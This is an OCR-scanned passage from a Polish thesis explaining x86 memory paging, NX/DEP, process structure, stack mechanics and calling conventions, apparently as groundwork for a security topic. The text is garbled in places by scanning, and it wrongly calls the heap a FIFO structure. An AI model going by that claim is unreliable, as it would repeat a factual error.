znaczniki wspolne dla obiektéw w katalogach stron (Page Directory Entry, PDE) oraz obiektow w
tabelach stron (Page Table Entry, PTE). Polami tymi sa [23]:

e Bit U/S —oznaczajacy, iz dana tabela stron lub strona przechowuje dane: gdy 0 —nalezace
do jadra systemu, w przeciwnym wypadku do programéw trybu uzytkownika

e Bit R/W — gdy wyzerowany oznacza pami¢¢ tylko do odczytu, gdy za$ ustawiony —
pamie¢ dostepna do odczytu i zapisu.

Pierwsza z tych flag okresla przywileje na poziomie stron: Uzytkownik lub Nadzorca
(Supervisor). Druga z tych flag okre§la mozliwy sposéb dostepu do tych stron. Rysunek 2.6.
doktadniej opisuje struktur¢ wpisu PDE czyli jednego obiektu zawartego w katalogu stron oraz
obiektu PTE czyli pojedynczego elementu tablicy stron.

32-Bit Page Directory Entry

Bit 31 1211 9 8 7 6 5 4 3 2 1 0
20-bit Page Table Base Address Avail GIPI| O A PCOPWTIU/S [RAW]P
Aail Available for 05 use
G Global Page (ignored)
Ps Pagesize (Oindicates 4 KB page size)
0 Setto zero
A Accessed (this page/page table has baen aceessed, e g., readfrom ar writtan ta, when set}
PCD Cache Disabled {when this flagis set, this page/page table cannot be cached)
PWT Write-through {when this flag is set, write-through caching is enabled for this page/page table)
u/s User fSupervisor [when this flagisclaar, the page has supervisor privilages)
RiW Read/Write (if this flagis clear, the pages pointed 1o by this entry are read-only)
P Present(if this flagis set, the 4 KB page/page tableis currently loaded inta memoary)

32-Bit Page Table Entry

Bit 31 1211 9 8 7 6 5 4 3 2 1 0
20-hit Page Base Address Avail G |PATI D | A |PcOpwT| u/s|Rivg] P
o Global flag (helps prevent fraquantly accessed pagesfrom baing flushed fram the TLR)
PAT Page Attribute Table Index
D Dirty Bit {if set, the page pointed to has been varitten to)

Rysunek 2.6. Charakterystyka obiektow katalogu i tablicy stron. Zrédlo: [23]

Opisane zostalo zatem jak implementowany jest mechanizm stronnicowania, jak egzekwowana
jest separacja przestrzeni adresowych procesow oraz czym sg bity dostepu do stron. Nalezy tutaj
jeszcze dodaé, ze nowoczesne procesory wprowadzity nowy bit, zwany bitem XD lub NX — kolejno
Execution Disabled bit lub No Execute. Bit ten stanowi atrybut dostepu do strony decydujacy o tym,
czy dana strona zawiera kod programu, a wigc dane ktore mogg by¢ podane do wykonania
procesorowi czy tez nie (w przypadku ustawienia tego bitu). Procesor po napotkaniu instrukcji, ktdra
zostala pobrana z ramki pamigci z danym atrybutem wylaczajacym wykonywanie danych w obrgbie
tej ramki — wygeneruje wyjatek #GP — General Protection (zgodnie z nomenklaturg Intela) [20].
Wyjatek taki zostanie odnotowany przez system, ktory z racji wykrycia sytuacji potencjalnego
niebezpieczenstwa (ataku na oprogramowane) spowoduje zabicie procesu, ktory wygenerowatl taki
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wyjatek czym tez udaremni mozliwy atak. System MS Windows nazywa ten mechanizm DEP (Data
Execution Prevention) za$ system Linux nazywa go NX (Non-Executable).

2.3. Proces i sposob jego organizacji

Inzynier firmy Microsoft Corporation, Mark Russinovich (z innymi), w swojej ksigzce Windows
Internals zdefiniowat proces jako: ,, kontener dla zbioru zasobéw uzywanych podczas wykonywania
instancji danego programu, gdzie przez program rozumie¢ bedziemy statyczng sekwencje instrukcji”’
[25]. Nastepnie opisal, ze w systemach Microsoft Windows, na proces sktadajg sig:

e Prywatna wirtualna przestrzen adresowa bedaca odrebna pula pamieci do ktorej
odwotywac si¢ moze proces.

e Wykonywalny program (modut) definiujacy kod do wykonania, dane niezbe¢dne do
wykonania tego kodu, ktory jest jednocze$nie zmapowany do przestrzeni wirtualnej
procesu.

e Lista otwartych uchwytow do réznych zasobow systemowych — takich jak semafory,
porty komunikacyjne, pliki, nawigzane potaczenia sieciowe, sekcje krytyczne - z ktérych
wszystkie dostgpne sg kazdemu watkowi procesu.

o Kontekst bezpieczenstwa, zwany tokenem dostgpu, ktory jednoznacznie okresla
uzytkownika uruchamiajagcego ten program, grup¢ tego uzytkownika, zakres
przywilejow, sesje i wszystkie inne dane srodowiskowe zwigzane z tym kontekstem
bezpieczenstwa.

e Unikatowy identyfikator procesu zwany Process ID (PID).
e Przynajmniej jeden watek wykonujacy program.

Oczywiscie ten opis sprowadza si¢ do koncepcji procesu wystepujacej na platformie MS
Windows, jednakze dla innych platform jak Linuxa, Unixa, BSD, Solarisa opis ten bylby bardzo
zblizony z uwagi na podobienstwo w rozumieniu pojgcia proces pomiedzy platformami (oraz
implementowaniu podobnych mechanizmow przez nowoczesne systemy operacyjne).

W ramach préby ujecia istoty procesu, wprowadzone zostato pojecie watku programu. Watek,
bedzie jednostkg wykonawczg procesu, ktora poddawana jest planowaniu przez dyspozytor systemu
(scheduler) w celach $wiadczenia ustug wielozadaniowosci (mechanizm wywlaszczania). Watek to
taki obiekt systemu, ktory posiada kopi¢ wszystkich rejestrow odwzorowujacych obecny stan
wykonania si¢ programu w danej chwili, ma on swdj wlasny osobny stos programu, dostep do
zmiennych lokalnych itp. Watek moze by¢ usypiany, wznawiany, mozna zmienia¢ mu priorytet
wykonania. Proces bgdzie zawierat zbior watkow. Gdy proces ma jeden watek i watek ten zostanie
uspiony — caty proces ulega u$pieniu. Majac oméwione podstawowe pojecia jakimi sg proces i wgtek
opisze teraz bardzo pobieznie jak przebiega proces fadowania i wykonania si¢ programu.

Po uruchomieniu programu w celu skorzystania z oferowanej przez niego funkcjonalnosci,
specjalny mechanizm tadujacy systemu operacyjnego (w systemie Microsoft Windows jest nim
Image Loader) przystepuje do zatadowania zawarto$ci pliku z programem w okreslony sposob. Plik
z programem (PE EXE, ELF) zawiera ciasno opakowane dane sktadajgce si¢ na zestaw instrukcji do
wykonania (okreslajagcych funkcjonalno$¢ programu), oraz zbidr danych potrzebnych na ten cel.
Zaréwno kod jak i dane programu s3 podzielone na tzw. Sekcje, czyli obszary danych o jednolitym
charakterze, atrybutach i zastosowaniu. Przed tymi sekcjami za§ osadzone sa specjalne nagtowki
opisujace subtelne cechy uruchamianego programu, jak np. adres pierwszej instrukcji do wykonania,
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importowane przez program biblioteki i funkcje itd. Mechanizm tadujgcy program do wykonania w
systemie operacyjnym podczas przetwarzania pliku z programem do uruchomienia wczytuje jego
zawartos$¢ do pamigci operacyjnej sekcjami. Najpierw osadzona zostanie sekcja z kodem, nazywana
typowo .text nastegpnie za$§ sekcja z danymi — nazywana .data, pozniej za$ sekcje pozostate
takie jak np. .bss. Sekcja kodu bedzie mie¢ atrybuty wytacznie do odczytu — innymi stowy strony
pamigci przechowujace kod programu begda oznaczone jako tylko do odczytu. Sekcja z danymi,
bedzie za$ opisana dostgpem do odczytu i zapisu. Segmenty .data i .bss zarezerwowane sg dla
zmiennych globalnych programu. Pierwszy z nich zawiera dane zainicjalizowane statycznie, drugi
za$ dane ktore nie zostaty jeszcze zainicjalizowane [24]. Po wczytaniu do pamieci wszystkich
segmentow programu, procedura tworzenia procesu przystapi do utworzenia specjalnych regionéw
dla programu zwanych stosem i stertg.

Stos jest strukturg danych typu LIFO (Last In First Out) co oznacza, Zze dane ktore zostaty na nim
umieszczone jako ostatnie zostang z niego zdjgte jako pierwsze. Obiektem przechowywanym na
stosie w architekturze x86 sa podwojne stowa, czyli zmienne o szerokosci 32 bitow. Struktury tego
typu szczego6lnie dobrze si¢ sprawdzaja przy przechowywaniu danych o charakterze tymczasowym.
Stos stuzy do przechowywania zmiennych lokalnych i ramek wywotan funkcji jak réwniez innych
informacji wykorzystywanych podczas oprdzniania stosu po powrocie z funkcji. Kolejng wazna
wlasciwoscia stosu jest fakt, iz przyrasta on w dot przestrzeni adresowej. Oznacza to mniej wigcej
tyle, ze kolejne dane umieszczane na stosie otrzymuja coraz nizsze wartosci adresow. Stos rosnie w
dot, od adreséw gornych w kierunku dolnych, dzigki czemu jest on buforem o z gory ustalongj
pojemnosci, ktora bedzie w miar¢ wykonania si¢ programu malata. [24]

Sterta jest drugg wazng pulg pamieci wykorzystywang aktywnie przez programu. Jest to struktura
stuzaca do przechowywania danych alokowanych dynamicznie, czyli podczas wykonywania sig¢
programu. Jest to struktura typu FIFO (First In First Out), co oznacza, ze dane tworzone sg i usuwane
z niej w tej samej kolejnosci. Sterta przyrasta w gore przestrzeni adresowej: kolejne dane tworzone
na stercie otrzymuja coraz wyzsze warto$ci adresow. [24]

Wskaznik enc i 0xBFFFFFFF ,,wysokie
argc adresy”

Stos

l
T

Sterta

.bss

.data

.text

Wspbditdzielone 0x80000000 ,,niskie
biblioteki adresy”

Rysunek 2.7. Diagram przestrzeni adresowej programu uruchamianego w systemie Linux. Zrédlo: [24]

Przyktadowy rozktad pamigci procesu uruchamianego w systemie Linux przedstawia diagram
ukazany na rysunku 2.7. Zauwazy¢ mozna na nim kierunek wzrostu sterty i stosu, oraz roztozenie
adres6w w pamieci.

2.4. Stos programu
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Koncepcja tej struktury wykorzystywana jest na wielu roznych platformach, pozwalajac tym
samym na zaimplementowanie tymczasowego bufora na lokalne dane, parametry i ulotne struktury.
Stos programu stanowi magazyn przechowujacy dane, ktore przydadza si¢ ,,za chwile”. W
architekturze x86 struktura ta implementowana jest instrukcjami PUSH i POP przyjmujacymi
pojedynczy argument, bedacy wartoscia obiektu do odlozenia na stosie (lub tez adresem
wskazujacym na tg warto$¢) lub tez rejestrem, do ktérego nalezy §ciggnac i odtozy¢ warto$¢ ze stosu.
W opisie tej struktury biorg czynny udziat dwa rejestry — ESP oraz EBP. Ten pierwszy wskazuje na
obecny szczyt stosu, a wigc adres ostatnio odtozonego obiektu na stosie. Jak opisywano wczesniej,
poczatkowy szczyt stosu jest mozliwie najwyzszym adresem w sensie liczbowym. Kazde odtozenie
na stos wartosci (obiektem odktadanym na stosie w omawianej architekturze musi by¢ wartos¢ 32-
bitowa) powoduje zmniejszenie wartosci rejestru ESP 0 4, dzigki czemu uzyskujemy efekt ,,zmalenia
stosu”. Innymi stowy operacje PUSH i POP implementuja nastepujace operacje:

PUSH SRC: POP DEST:
ESP —~ ESP - 4; DEST — * (ESP) ;
Memory [ESP] « SRC; ESP —~ ESP + 4;

Mnemonik PUSH zatem przesuwa adres Szczytu stosu na nastepna wolna pozycj¢ i w te¢ pozycje
odktada warto$¢ pochodzacg z argumentu zrodtowego mnemonika. Operacja POP z drugiej strony,
wykonuje skopiowanie wartosci obecnej na stosie, pod adresem wskazywanym przez rejestr ESP,
do rejestru bedacego argumentem mnemonika - by nastepnie doda¢ warto$¢ 4 do rejestru ESP,
przesuwajac go tym samym na wezesniej odtozony na tym stosie obiekt. Jak zatem ukazano, bardzo
waznym jest tutaj mechanika wskaznika, wskazujacego na szczyt stosu, jakim jest rejestr ESP. To
ten rejestr wskazuje gdzie znajduje si¢ ostatnio odtozony obiekt. Pokaze kilka przyktadowych
operacji na stosie w postaci diagraméw. Najpierw na rysunku 2.8. nastepuje wykonanie operacji
PUSH 1, ktora to odtozy warto$¢ 1 pod adres nastgpnego obiektu na stosie, a wigc adres 0XA00C
(aby nie komplikowa¢ zbytnio opisu, adresy stosu zostaty zredukowane do 16 bitow).

Adres Zowartosé stosu
nicistotng wartost OxBFFF - wysokie adresy stosu, pierwotny szczyt
5 nieistotna wartosc 1 PUSH 1 Stack[—ESP] = 1;
w
o
-] OxA014 nieistotng wartosé 2 PUSH 2 Stack[—ESP] = 2;
==
w
E OxAQI0 nieistotna wartosé [#— ESP (Poczgtiowy szczyt stosu) 3 PUSH 3 Stack[—E5SP] = 3;
®
-E OxAQQC nieistotng wartosé 4 POPA A = Stack[ESP+H];
[=]
i
E OxAOQE nieistotna wartosé 5 PUSH 4  Stock[-ESP] =4;
OxA004 nieistotna wartosé 6 POPB B := Stock[ESP+];
=
E OxAOQ0 nieistotna wartosé 7 POPC C := Stack[ESP+H];
Fl
= nigistotng wartosc
=
d » -
= nieistotng wartosé
2
c nigistotna wartosé
g
g nigistotna wartosc 0x8000 - niskie adresy stosu

Rysunek 2.8. Stos przed odlozeniem pierwszej wartosci. Zrédio: opracowanie wlasne.

W wyniku odtozenia warto$ci na stosie, ESP zostaje przesuniety na nastepny adres na stosie
(zgodnie z zasada przyrostu adreséw stosu w kierunku malejacym, jest to rownoznaczne ze
wskazywaniem na adres nizszy liczbowo), a nastgpnie pod tak uzyskany adres wpisana zostaje
warto$¢ docelowa. Pierwszy trzy polecenia spowoduja odlozenia na stos kolejno liczb: 1, 2 i 3.
Sytuacje t¢ ukazuje¢ stos zaprezentowany na rysunku 2.9.
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Adres Zawartos¢ stosu

nieistotna wartosé OxBFFF - wysokie adresy stosu, pierwotny szczyt
5 nieistotng wartosd 1 PUSH 1 Stock[-ESP] =1;
w
o
] OxA014 nigistotna wartosc 2 PUSH 2 Stock[—-ESP] = 2;
=
w
E OxAQIO nieistotng wartosd +— (Poczgtkowy szczyt stosu) 3 PUSH 3 Stock[-ESP] = 3;
™
£ OXA0OC 1 4  POPA A :=Stack[ESP+]:
o
w
= OxAD08 2 5 PUSH4  Stock[-ESP]=4;
OxAD04 3 +—ESP 6 POPB B :=Stack[ESP+]
=
E OxAQOQ nieistotng wartosd 7 POP C C o= Stock[ESP+H;
E
2 nigistotna wartosé
S
= nigistotna wartosé
o
2 .. "
c nieistotna wartosé
g
H nieistotna wartosé 0x8000 - niskie adresy stosu

Rysunek 2.9. Stos po odlozeniu pierwszych trzech wartosci. Zrédlo: opracowanie wlasne.

Zatem, najpierw nastapito odj¢cie od ESP wartosci 4 (z wartosci ESP=0xA010 na ESP=0xA00C),
oraz odlozenie argumentu docelowego jakim byta liczba 1. W kolejnym kroku, znéw odjeto 4 od
adresu szczytu stosu przechowywanego w rejestrze ESP (z wartosci ESP=0xA00C na ESP=0xA008)
i odtozono pod ten adres warto§¢ 2. Tak samo w kolejnym kroku (ESP zmieni si¢ z warto$ci
ESP=0xA008 na ESP=0xA004). Nast¢gpnym bedzie wykonanie czwartej instrukcji. W wyniku tej
operacji najpierw warto$¢ zostanie skopiowana spod adresu wskazywanego przez rejestr ESP (czyli
0xA004) do rejestru, a nastgpnie szczyt stosu zostanie ustalony na 0xA008. Sytuacje te przedstawia
rysunek 2.10.

Adres Zawartosé stosu

nieistotna wartost OxBFFF - wysokie adresy stosu, pierwotny szczyt

nigistotna wartosc 1 PUSH1  Stock[-ESP]=1;
OxA014 nigistotna wartosc 2 PUSH2  Stock[-ESP]=2;
OxA010 nieistotna wartosé «+— (Poczgtkowy szczyt stosu) 3 PUSH3  Stock(-—-ESP] =3;
OxAQOC 1 4  POPA A :=Stack[ESP+] A=3;
0xA008 2 +— ESP 5 PUSH 4 Stack[—-ESP] =4;
0xA004 3 6 POPB B = Stack[ESPH];
OxA000 nieistotnag wartosé 7 POPC C = Stock[ESP+H;

nieistotna wartosé

nigistotna wartosé

nigistotna wartosc

nigistotna wartosc 0x8000 - niskie adresy stosu

Rysunek 2.10. Stos po zdjeciu wartosci ze stosu do zmiennej A. Zrédlo: opracowanie wlasne.

Po $ciggnigciu wartosci 3 ze stosu do zmiennej A, wartos¢ ta nie zostata usunigta faktycznie ze
stosu, albo zastgpiona inng. Znajdowaé si¢ ona tam bedzie nadal. Takie same warto$ci na
przyktadowym stosie z diagramu znajdujg si¢ w komorkach oznaczonych jako nieistotna wartosé.
Sa to komorki przechowujace wartosci odtozone na stosie w wyniku wykonywania programu w
innym momencie anizeli obecny. Wczesniej watek bedac w innej funkcji pisat pod ten sam adres
pewne warto$ci, by¢ moze zmienne lokalne funkcji (oméwione dalej), ktore teraz pozostaty na stosie
1 sg traktowane jak wartosci niezdefiniowane. Jesli utworzymy zmienng lokalng w funkcji, zmienna
ta zostanie zaalokowana na stosie, to dopoki nie zainicjalizujemy jej poczatkowa wartoscig — np.
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zerem, zmienna ta przyjmowac bedzie warto$¢ obecnie znajdujaca si¢ na stosie, a wartoscig tag moze
by¢ kazda dopuszczalna wartosé z zakresu wielkosci zmiennej docelowej. Sytuacja taka jest dla
programisty niezdefiniowana, gdyz nie moze on polega¢ na zadnej z gory przewidzianej wartosci,
ktora sie w zmiennej pojawi. Co innego w przypadku zmiennych statycznych lub globalnych, ktére
sa domyslnie zerowane i trafiajg albo do sekcji . data albo .bss programu. Powroé¢my jednak do
stosu. Kolejno operacja ponownego odtozenia na stosie wartosci 4. W wyniku tej operacji, wskaznik
ESP ktory teraz wskazuje pod adres 0xA008, zostanie przesunigty na komorke o adresie 0xA004 i
tam tez zostanie wpisana warto$¢ 4. Sytuacje przedstawia kolejny rysunek (2.11):

Adres Zawartose stosu

nicistotna wartoé OXBFFF - wysokie adresy stosu, pierwotny szczyt

nieistotna wartosé 1 PUSH 1 Stack[—-ESP] =1;
OxA014 nieistotna wartosé 2 PUSH 2 Stack[—-E5P] = 2;
OxA010 nieistotng wartosé +— (Poczgtkowy szczyt stosu) 3 PUSH 3 Stack[—-E5P] = 3;
OxAQOC 1 4  POPA A :=Stack[ESPH]; A=3;
OxAD08 2 5  PUSH4  Stock[-ESP]=4;
0xA004 4 «— ESP & POPB B -=Stock[ESP+]:
OxA000 nigistotna wartosé 7 POPC € ;= Stack[ESP++];

nigistotna wartosé

nigistotna wartosé

nieistotna wartosc

nigistotna wartosc (0x8000 - niskie adresy stosu

Rysunek 2.11. Stos po odlozeniu kolejnej wartosci na miejsce wezesniejszej. Zrédlo: opracowanie wlasne

Kolejne dwie instrukcje $ciggniecia ze stosu cofng rejestr ESP pod adres 0xA00C, zas w wyniku
ich wykonania, zmienna B przyjmie warto$¢ 4, za§ zmienna C = 2 (rysunek 2.12.).

Adres Zawartosé stosu
nicistotng wartosé OXBFFF - wysokie adresy stosu, pierwotny szczyt
nieistoing wartosd 1 PUSH 1 Stock[—-ESP] =1;
OxAQI4 nieistoing wartosd 2 PUSH 2 Stock[--ESP] = 2;
OxAQIO nieistoing wartosd +— (Poczgtkowy szczyt stosu) 3 PUSH 3 Stock[--E5P] = 3;
0xA00C 1 «— ESP 4 POPA A :=Stock[ESP+]; A=3;
OxADDS 2 5 PUSH 4 Stack[-ESP] = 4;
OxADD4 4 6 POPB B :=Stock[ESP+]; B=4;
0xA000 nigistotng wartosé 7 POPC  C:=Stock[ESP+]; C=2;
nieistotna wartosé 8 NOP
nieistotna wartosé
nieistotna wartosé
nieistotna wartost 0x8000 - niskie adresy stosu

Rysunek 2.12. Stos po odlozeniu kolejnej wartosci na miejsce wezesniejszej. Zrédlo: opracowanie wlasne

Omowiono zatem mechanike dziatania stosu i rejestru ESP odpowiedzialnego za wskazywanie
na obecny szczyt tej struktury. Jako uzupetnienie nalezy doda¢, ze w sytuacji, w ktorej stos ulegnie
wyczerpaniu — tj. odtozymy tyle obiektow, ze dosiggniemy koncowego adresu stosu (w przypadku
stosu z diagramu adresem tym bedzie 0x8000), to system wygeneruje wyjatek przepetnienia stosu
(Stack Overflow). W wyniku tego wyjatku mozna bedzie wnioskowaé, ze w programie nastgpita albo
nieprzerwana rekurencja, ktora spowodowala wyczerpanie si¢ stosu, albo program wyjatkowo
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nieefektywnie wykorzystuje lokalne bufory w funkcjach i ciag wywotan w glab programu (Call
Stack) osiaggnat takg glebokos¢, ze doszto do sytuacji wyjatkowe;.

Dotad poruszana byta jedynie funkcja przechowywania danych oferowana przez strukture stosu.
Jest jednak jeszcze jedno, rownie wazne zastosowanie tej struktury dla programow w architekturze
x86 (i nie tylko), jaka jest implementacja mechanizmu funkcji i zakresow lokalnych tychze. W tym
miejscu kluczowa role odgrywac bedzie rejestr EBP, ktéry to wykorzystywany jest do wskazywania
na ramke funkcji. Kiedy programista piszacy program kompilowany natywnie, korzysta z procedur i
definiuje w ciele tych procedur r6zne zmienne lokalne, bufory, tablice obiektow — to tak w naprawde
korzysta on z mechanizmu stosu, ktory oferuje przestrzen na zmienne zakresu lokalnego. W ramach
wykonywania si¢ programu, procesor moze dotrze¢ nawet do 30, 50 lub wickszej ilosci funkcji w
glab stosu wywotan kolejnych procedur (a wigc z funkcji main do funkcji funl, ktora wywotuje fun2,
ktora wywotuje fun3 itd.). Przyktady takich stosow wywotan przedstawiono na rysunku 2.13 - stos

wywotan pewnego watku procesu firefox.exe oraz innego watku procesu chrome.exe:

Stack - thread 3200

Stack - thread 8980

MName Mame
0 ntoskrnl.exe!KelsAttachedProcess +0x8ba 0 ntoskrnl. exe!KelsAttachedProcess+0x8ba
1 ntoskrnl.exelKeWaitForMultipleObjects +0x 152f 1 ntoskrnl. exe | KeWaitForMultipleObjects +0x 152f
2 ntoskrnl.exe!KeWaitForMultipleObjects +H0xdd9 2 ntoskrnl.exe!KeWaitForMultipleObjects +0xdd9
3 ntoskrnl.exe!KeWaitForMultipleObjects +0x 3a0 3 ntoskrnl, exe!KeWaitForMultipleObjects +0x3a0
4 ntoskrnl.exel ObWaitForMultipleObjects +0x 283 4 ntoskrnl. exe! Ob\WaitForMultipleObjects +0x 289
5 ntoskrnl.exe!PsResumeProcess +H0x292 5 ntoskrnl. exe!PsResumeProcess+0x232
[ ntoskrnl.exelsetjimpex +0x34a3 1 ntoskrnl. exelsetimpex +0x34a3
7 wowa4cpu.dliTurboDispatch JumpAddressEnd +0x 538 7 wows4cpu.dlTurboDispatchJumpAddressEnd +0x598
8 wowédcpu. diiTurboDispatch JumpAddressEnd +0xac 8 wows4cpu.dli TurbeDispatch JumpAddressEnd +0xac
9 wone4, dlllWows4LdrpInitislize +0x23a 9 wowe4, dl'Wows4LdrpInitialize H0x23a
10 wowe dll'wows4LdrpInitialize +0x 172 10 wows4 dl'Wows4LdrpInitialize +0x 172
11 ntdll.dliLdrInitShimEngineDynamic+0x23d5 11 ntdll.dllLdrInitShimEngineDynamic+0x23d5
12 ntdll.dl'memset-+0xddde 12 ntdll.dl'memset+0xddde
13 ntdll.dl'LdrInitizlizeThunk -+0xe 13 ntdll.dliLdrInitislizeThunk-+H0xe
14 ntdll.dilZwWaitForMultipleObjects +0xc (Mo unwind info) 14 ntdll.dl'ZwWaitForMultipleObjects +0xc (No unwind info)
15 user32.dliMsgWaitForMultipleObjectsEx +0x 163 (Mo unwind infa) 15  user32.dl'MsgWaitForMultipleObjectsEx +0x 163 (No unwind info)
£ 16 wul.dllis::proxy Convert+0x658c (Mo unwind info) 16 chrome.dll!ChromeMain +0x103c47 (No unwind infa)
17 ul.d'NS_CydeCollectorSuspect3+0x8619 (Mo unwind infa) 17 chrome.dll!ChromeMain +0x 103b0c (Mo unwind info)
18 wul.di'NS_CydeCollectorSuspect3+0x8 1ff (No unwind info) 18 chrome.dll!ChromeMain-+0x5cdfb (No unwind infa)
19 xul.diiNS_CydeCollectorSuspect3+0x&040 (Mo unwind info) 19 chrome.dl!ChromeMain +0x5cd04 (No unwind info)
20 chrome.dll' ChromeMain +0x5cclc (Mo unwind infa)
21 chrome.dll!ChromeMain +0x309795 (Mo unwind info)
Copy Refresh Close 22 chrome.dll!ChromeMain +0x3096d2 (Mo unwind info)
23 chrome.dll!ChromeMain +0x1a0d9 (Mo unwind infa)
24 chrome.dll!ChromeMain +0x19f17 (Mo unwind infa)
25  chrome.dll!ChromeMain +0x 19293 (Mo unwind info)
26 chrome.dll! ChromeMain+0xe07 (Mo unwind info)
27 chrome.dll!ChromeMain +0x561 (Mo unwind infao)
28 chrome.exe!GetHandleVerifier +0x 17af8 (Mo unwind infa)
29 chrome.exe!GetHandleVerifier +0x 16f37 (Mo unwind info)
30  chrome.exe!TerminateProcessWithoutDump+0x511e (No unwind i...
31 kernel32.dl'BaseThreadInitThunk-+0x24 (Mo unwind infa)
32 ntdll.di'RInitializeExceptionChain +0xaf (Mo unwind info)
33 ntdl.diiRtInitializeExceptionChain +0x5a (Mo unwind infa)

Rysunek 2.13. Stosy wywolarn wgtku programu Mozilla Firefox (po lewej) oraz Google Chrome (po prawej).
Zrédto: opracowanie whasne.

Na rysunku 2.13. pokazano, ze watek Firefoxa zostal uchwycony podczas przebywania w
procedurze na 19-tej glebokosci, tudziez wewnatrz dziewigtnastego zagniezdzenia. Dla odmiany
watek z przegladarki Google Chrome zostat uchwycony na glebokos$ci 33 zagniezdzen. Nalezy tutaj
doda¢, ze sam system operacyjny generuje pierwsze kilkanascie zagniezdzen celem uruchomienia
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procesu i wystartowania jego konkretnego watku. Tutaj rowniez nalezy pamigtac, ze szczyt stosu to
ostatni jego element, a wiec kolejno 19-te wywotanie oraz 33-cie wywotanie tych watkow.

Kazda z funkcji wywolywanych podczas rozwijania stosu wywolan — bedzie wykorzystywaé
pewne struktury niezbedne do potwierdzenia, ze jest to procedura, w ktorg procesor wkroczyl.
Ponadto wiekszo$¢ funkcji i procedur, choéby tych najmniejszych, bedzie korzystata ze zmiennych
lokalnych. Jak wczedniej wspomniano, zmienne te bgda odktadane na stosie. Najpierw jednak
wyjasni¢ nalezy, ze funkcja z punktu widzenia instrukcji procesora, to nic innego jak pewna etykieta
(adres), oznaczajaca poczatek nastepujacych instrukcji. W architekturze x86 dodatkowo, funkcje
rozpoczynaja si¢ tzw. prologiem, za§ koncza si¢ epilogiem. Przeptyw sterowania podczas
wywotywania funkcji przedstawia rysunek 2.14:

main program

_start:

"
call functionl

-

execution moves

to function
"
exit .
execution
returns to
functionl: main program

ret

Rysunek 2.14. Przeplyw sterowania podczas wywolania funkcji. Zrédio: [26].

Jak przedstawia powyzszy rysunek, procesor rozpoczyna wykonanie programu od pewnego
adresu etykietowanego jako start. Adres ten jest punktem wejscia do programu (Entry Point).
Pozniej procesor wykonuje w kolejnosci sekwencyjnej nastgpujace po sobie instrukcje, az do
napotkania rozgalezienia jakim jest instrukcja CALL <adres>. Instrukcja ta wyrazana ponizszym
pseudokodem (uproszczona sytuacja skoku bezposredniego przy plaskim modelu pamieci’):

CALL address:
PUSH EIP;
EIP — address;

7 Ptaski model pamieci (flat memory model) to taka organizacja pamieci komputera, w ktérym mechanizm
segmentacji zostat wykorzystany do utworzenia jednego wielkiego segmentu, obejmujgcego cata dostepng
pamiec fizyczng. Przy takiej konfiguracji procesor nie musi zajmowac sie segmentacjg (ktorej wsparcia nie da
sie wyfaczy¢ w procesorze).
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Jak zatem przedstawiono, instrukcja wykonania wywotania funkcji — najpierw odktada na stosie
adres powrotu z tej funkcji, a raczej adres nastepnej instrukcji do wykonania tuz po powrocie z tej
funkcji (czyli adres nastgpnego rozkazu tuz za rozkazem CALL). Nastgpnie poprzez wpisanie
rejestrowi EIP nowej wartosci, nastgpuje skierowanie przeptywu sterowania procesora pod nowy
adres. Teraz ten adres postuzy jako zrédto nowych instrukcji do wykonania (ciato funkcji). Taka tez
sytuacja zostala przedstawiona na rysunku 2.14. Procesor skierowat tor wykonania si¢ instrukcji do
ciala funkcji functionl, aby tuz po zakonczeniu wykonania si¢ tej funkcji z niej powrdci¢ do
poprzedniego miejsca. Warto tutaj wspomnie¢, ze zakladajac iz przy wchodzeniu do funkcji
_start stos wywotan byt pusty, tak po wejsciu do functionl zawieral juz jeden element, jakim
byta wilasnie ta funkcja.

Zanim jednak przejde do omawiania doktadnej mechaniki dziatania stosu podczas wywotywania
funkcji, omowie jeszcze jedno wazne pojecie jakim jest konwencja wywolan funkcji. Konwencja ta
(Call convention) stanowi sposdb wywolywania funkcji z poziomu kodu assemblera / instrukcji
procesora. Wyr6zni¢ tutaj mozna dwie glowne konwencje wywotan:

e  stdcall — Standardowa konwencja wywotan, stosowana np. przez biblioteki 1
programy kompilowane kompilatorem Microsoft Visual Studio (caty system operacyjny
Windows korzysta z tej konwencji). W ramach niej, podczas wywotywania funkcji,
wywotujacy (caller) odktada wszystkie jej argumenty na stosie, liczac od ostatniego do
pierwszego (a wigc najpierw odlozony bedzie ostatni argument, potem przedostatni, ...,
ostatecznie pierwszy). Po powrocie z tej funkcji, nalezy wczesniej odtozone argumenty
ze stosu $ciggnac (a raczej tak skorygowaé adres szczytu stosu, aby wskazywat na stan
sprzed wywotania funkcji i odtozenia jej argumentow). W ramach tej konwencji, funkcja
wywotywana (callee) zajmuje si¢ ta korekta. Od funkc;ji takiej oczekuje si¢ by wiedziata
ona doktadnie ile parametréw miala przyjac i ile zatem ma $ciagna¢ ze stosu.

e  cdecl — Konwencja wywolaf znana z bibliotek jezyka C, jednocze$nie stanowi
gléwna konwencje wywotan w surowych programach pisanych w jezyku C przy uzyciu
kompilatora np. GCC. Cecha wspoélng tej konwencji z poprzednia jest, ze tutaj rowniez
wywotujacy funkcje odktada jej argumenty w kolejnosci od ostatniego do pierwszego (od
prawej do lewej) na stosie, po czym wywotuje funkcje. Roznica polega jednak na tym,
ze w tym przypadku to nie wywolywana funkcja $cigga te argumenty ze stosu, za$ robi
to wywolujgcy (caller). Mechanizm taki ma szczego6lne zastosowanie przy funkcjach o
zmiennej ilosci argumentow jak np. funkcje typu printf, scanf, sprintf. Funkcje takie, z
uwagi na swoj charakter elastycznos$ci uzycia, nie znaja doktadnej liczby argumentéw
ktore dostang przy wywolaniu. W zwigzku z tym nie moga tez przewidzie¢ ile tych
argumentow $ciggnac ze stosu. Dlatego kompilatory widzac funkcje o zmiennej ilosci
argumentoéw, w miejscu kazdego jej wywolania (a raczej tuz po jej wywotaniu), dodaja
instrukcje korygujaca stos (doktadniej to wstawiaja instrukcje dodania liczby N do
rejestru Esp —gdzie N to ilos¢ argumentow - 4).

Majac omoéwione konwencje wywotan funkcji, mozna teraz przej$¢ do wlasciwego omoéwienia
samej mechaniki tych wywotan. Aby dokladniej zrozumie¢ jak wywolywane sg procedury, jak
odktadane sg argumenty lokalne na stosie, oraz czym jest faktycznie ramka stosu — przygotowano
ponizej przyktadowy program, ktoérego jedynym celem jest wywotanie funkcji sumujacej z danymi
parametrami, a nastgpnie zwrocenie wyniku tego sumowania do funkcji main, ktora jest punktem
wejsciowym do programu. Fakt wystepowania tutaj wigcej niz jednej funkcji bedzie kluczowym
podczas obserwacji zaangazowania struktury stosu w koncepcj¢ tutaj omawiane. Na dalszym etapie
